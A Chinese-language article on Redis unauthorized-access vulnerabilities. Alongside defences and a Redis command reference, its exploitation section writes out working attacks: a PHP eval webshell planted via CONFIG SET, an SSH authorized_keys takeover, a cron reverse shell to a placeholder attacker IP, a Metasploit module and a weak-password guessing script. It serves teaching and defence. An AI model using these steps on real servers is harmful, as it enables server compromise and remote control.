浅谈redis未授权漏洞
字数 1985 2025-08-10 13:48:27
Redis未授权访问漏洞分析与防御指南
一、Redis未授权漏洞概述
Redis未授权访问漏洞是指Redis服务在默认配置下,未设置访问密码且未限制绑定IP,导致攻击者可以直接连接到Redis服务并执行任意操作的高危漏洞。
二、漏洞利用条件
1. 基本利用条件
- Redis服务未设置密码认证
- Redis绑定在0.0.0.0或未限制访问IP
- 攻击者能够直接访问Redis服务端口(默认6379)
2. 写入Webshell条件
- 需要修改Redis配置文件:
- 去掉
bind前面的注释符# - 将
protected-mode设置为no
- 去掉
三、漏洞利用方法
1. 写入Webshell
config get dir # 查看当前数据库路径
config set dir /var/www/html # 修改为Web目录
config set dbfilename shell.php # 设置文件名
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" # 写入PHP代码
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n" # 写入一句话木马
save # 保存
注意:\r\n\r\n用于换行,避免Redis写入的版本信息影响代码执行。
2. SSH密钥认证利用
前提条件:
- Redis以root身份运行
- 存在/root/.ssh目录(或可创建)
- 未授权访问Redis
利用步骤:
- 生成SSH密钥对:
ssh-keygen -t rsa - 将公钥内容写入文件并上传:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 目标IP -x set xxx - 设置Redis数据库路径并保存:
config set dir /root/.ssh config set dbfilename authorized_keys save - 使用私钥连接:
ssh -i id_rsa root@目标IP
3. 利用crontab反弹Shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
攻击者监听端口:nc -lvnp 4444
4. MSF框架利用
msfdb run
search redis
use exploit/linux/redis/redis_unauth_exec
set RHOST 目标IP
run
四、漏洞检测方法
Python检测脚本
import socket
import sys
PASSWORD_DIC = ['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip = sys.argv[1]
port = sys.argv[2]
print check(ip, port, timeout=10)
五、防御措施
- 绑定IP:修改redis.conf文件,取消
bind 127.0.0.1的注释,并限制为可信IP - 设置密码:
或修改redis.conf中的CONFIG set requirepass "强密码"requirepass项 - 启用保护模式:
protected-mode yes - 修改默认端口:修改redis.conf中的
port项 - 限制命令执行:使用
rename-command禁用危险命令 - 以非root用户运行Redis
- 配置防火墙规则,限制访问来源
六、Redis基础知识
1. 安装与配置
Ubuntu/Kali安装:
sudo apt-get update
sudo apt-get install redis-server
启动Redis:
redis-server # 直接启动
redis-server /etc/redis/redis.conf # 使用配置文件启动
连接Redis:
redis-cli
redis-cli -h host -p port -a password
redis-cli --raw # 避免中文乱码
2. 配置管理
CONFIG SET loglevel "notice" # 修改配置
CONFIG GET loglevel # 获取配置
CONFIG GET * # 获取所有配置
3. 常用Key命令
DEL key:删除keyEXISTS key:检查key是否存在EXPIRE key seconds:设置过期时间KEYS pattern:查找匹配的keyTTL key:查看剩余生存时间RANDOMKEY:随机返回一个keyRENAME key newkey:重命名TYPE key:返回key类型FLUSHALL:删除所有key
4. Redis数据类型
字符串(String)
SETEX key seconds value:设置带过期时间的值GETRANGE key start end:获取子字符串STRLEN key:获取字符串长度
列表(List)
LPUSH/RPUSH key value:左/右插入LRANGE key start end:获取范围元素LPOP/RPOP key:左/右弹出LLEN key:获取列表长度LTRIM key start end:保留区间元素
集合(Set)
SADD key member:添加元素SMEMBERS key:获取所有元素SREM key member:删除元素
有序集合(Sorted Set)
ZADD key score member:添加带分数的元素ZRANGE key start end [WITHSCORES]:获取范围元素ZSCORE key member:获取分数ZRANK key member:获取排名
哈希(Hash)
HSET key field value:设置字段值HGET key field:获取字段值HGETALL key:获取所有字段值HDEL key field:删除字段HEXISTS key field:检查字段是否存在HLEN key:获取字段数量
5. 高级功能
发布订阅(Pub/Sub)
SUBSCRIBE channel # 订阅
PUBLISH channel message # 发布
Stream消息队列
XADD stream * field value # 添加消息
XLEN stream # 消息数量
XRANGE stream - + # 获取所有消息
XREAD COUNT num STREAMS stream 0 # 读取消息
XGROUP CREATE stream groupname $ # 创建消费者组
地理位置(Geo)
GEOADD key longitude latitude member # 添加位置
GEOPOS key member # 获取位置
GEODIST key member1 member2 [unit] # 计算距离
GEORADIUS key longitude latitude radius unit # 查找范围内的位置
HyperLogLog
PFADD key element [element...] # 添加元素
PFCOUNT key # 估算基数
PFMERGE destkey sourcekey [sourcekey...] # 合并多个HyperLogLog
Bitmap
SETBIT key offset value # 设置位
GETBIT key offset # 获取位
BITCOUNT key [start end] # 统计设置位数量
BITPOS key bit [start] [end] # 查找第一个位
6. 事务
MULTI # 开始事务
command1
command2
EXEC # 执行事务
DISCARD # 取消事务
7. 持久化
RDB快照
- 自动触发:在redis.conf中配置
save规则 - 手动触发:
SAVE(阻塞)或BGSAVE(后台)
AOF(Append Only File)
- 启用:
appendonly yes - 配置文件名:
dbfilename appendonly.aof
七、总结
Redis未授权访问漏洞危害严重,可能导致数据泄露、服务器沦陷等后果。管理员应遵循最小权限原则,配置强密码,限制访问来源,并定期更新Redis版本。开发人员应避免在代码中硬编码Redis密码,并确保生产环境与开发环境的配置分离。